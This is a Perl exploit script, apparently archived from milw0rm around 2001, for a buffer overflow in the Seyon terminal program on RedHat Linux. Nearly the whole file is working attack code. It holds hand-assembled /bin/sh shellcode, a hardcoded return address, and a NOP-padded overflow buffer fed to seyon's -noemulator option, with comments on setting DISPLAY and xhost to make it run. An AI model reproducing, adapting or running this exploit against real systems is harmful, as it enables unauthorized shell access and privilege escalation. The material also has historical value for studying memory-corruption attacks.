69 lines
2.2 KiB
Perl
Executable file
69 lines
2.2 KiB
Perl
Executable file
#!/usr/bin/perl
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## (c) Copyright teleh0r@doglover.com / anno domani 2000
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##
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## Seyon Exploit / Tested Version 2.1 rev. 4b i586-Linux
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## Tested on: RedHat 4.0/5.1
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##
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## Greets: scrippie, *@HWA, grazer, mixter, pr0ix, s\
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## http://www.digit-labs.org/ || http://teleh0r.cjb.net/
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$shellcode =
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"\xeb\x1f". #/* jmp 0x1f */
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"\x5e". #/* popl %esi */
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"\x89\x76\x08". #/* movl %esi,0x8(%esi) */
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"\x31\xc0". #/* xorl %eax,%eax */
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"\x88\x46\x07". #/* movb %eax,0x7(%esi) */
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"\x89\x46\x0c". #/* movl %eax,0xc(%esi) */
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"\xb0\x0b". #/* movb $0xb,%al */
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"\x89\xf3". #/* movl %esi,%ebx */
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"\x8d\x4e\x08". #/* leal 0x8(%esi),%ecx */
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"\x8d\x56\x0c". #/* leal 0xc(%esi),%edx */
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"\xcd\x80". #/* int $0x80 */
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"\x31\xdb". #/* xorl %ebx,%ebx */
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"\x89\xd8". #/* movl %ebx,%eax */
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"\x40". #/* inc %eax */
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"\xcd\x80". #/* int $0x80 */
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"\xe8\xdc\xff\xff\xff". #/* call -0x24 */
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"/bin/sh"; #/* .string \"/bin/sh\" */
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$ret = 0xbfffef96;
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$egg = 500;
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$len = 208;
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$nop = 'A';
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if (@ARGV == 1) {
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$offset = $ARGV[0];
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}
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if (!($ENV{'DISPLAY'})) {
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die("Error: the shell variable DISPLAY is not set.\n");
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}
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$buffer .= $nop;
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$new_ret = pack('l',($ret + $offset));
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print("Address: 0x", sprintf('%lx',($ret + $offset)), "\n");
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sleep(1);
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for ($i = 0; $i < $len; $i += 4) {
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$buffer .= pack('l',($ret + $offset));
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}
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for ($i = 0; $i < ($egg - length($shellcode)); $i++) {
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$buffer .= $nop;
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}
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$buffer .= $shellcode;
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# seyon uses X, so if there is no X server running, or you
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# are not allowed to connect to it, start X on your machine,
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# and using xhost, allow the target to connect to your server,
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# then: export DISPLAY=your-ip:0.0 - and execute the exploit.
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exec("/usr/X11R6/bin/seyon -noemulator \"$buffer\"");
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# milw0rm.com [2001-01-15]
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